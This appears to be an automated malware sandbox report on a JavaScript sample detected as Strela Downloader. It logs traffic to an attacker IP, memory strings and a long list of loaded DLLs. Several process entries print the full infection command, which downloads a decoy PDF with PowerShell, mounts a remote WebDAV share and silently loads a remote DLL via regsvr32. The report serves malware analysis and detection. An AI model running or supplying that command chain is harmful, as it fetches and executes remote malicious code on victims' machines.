HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2112112239.00000178949B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2170828193.00000251AE33F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2166150003.00000251AE316000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170249601.00000251AE316000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2164767025.00000251AE33D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170147706.00000251AE2E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2166150003.00000251AE316000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170249601.00000251AE316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_t
Source: net.exe, 00000007.00000002.2170147706.00000251AE2E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000007.00000002.2170147706.00000251AE2E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tmp
Source: svchost.exe, 00000009.00000002.3407269622.00000215EE600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2166416774.00000215EE520000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1804, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2503475573085815370.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6092

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5936:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2x1gri1.k3r.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,7867545893570432447,8989742260795296181,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,7867545893570432447,8989742260795296181,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
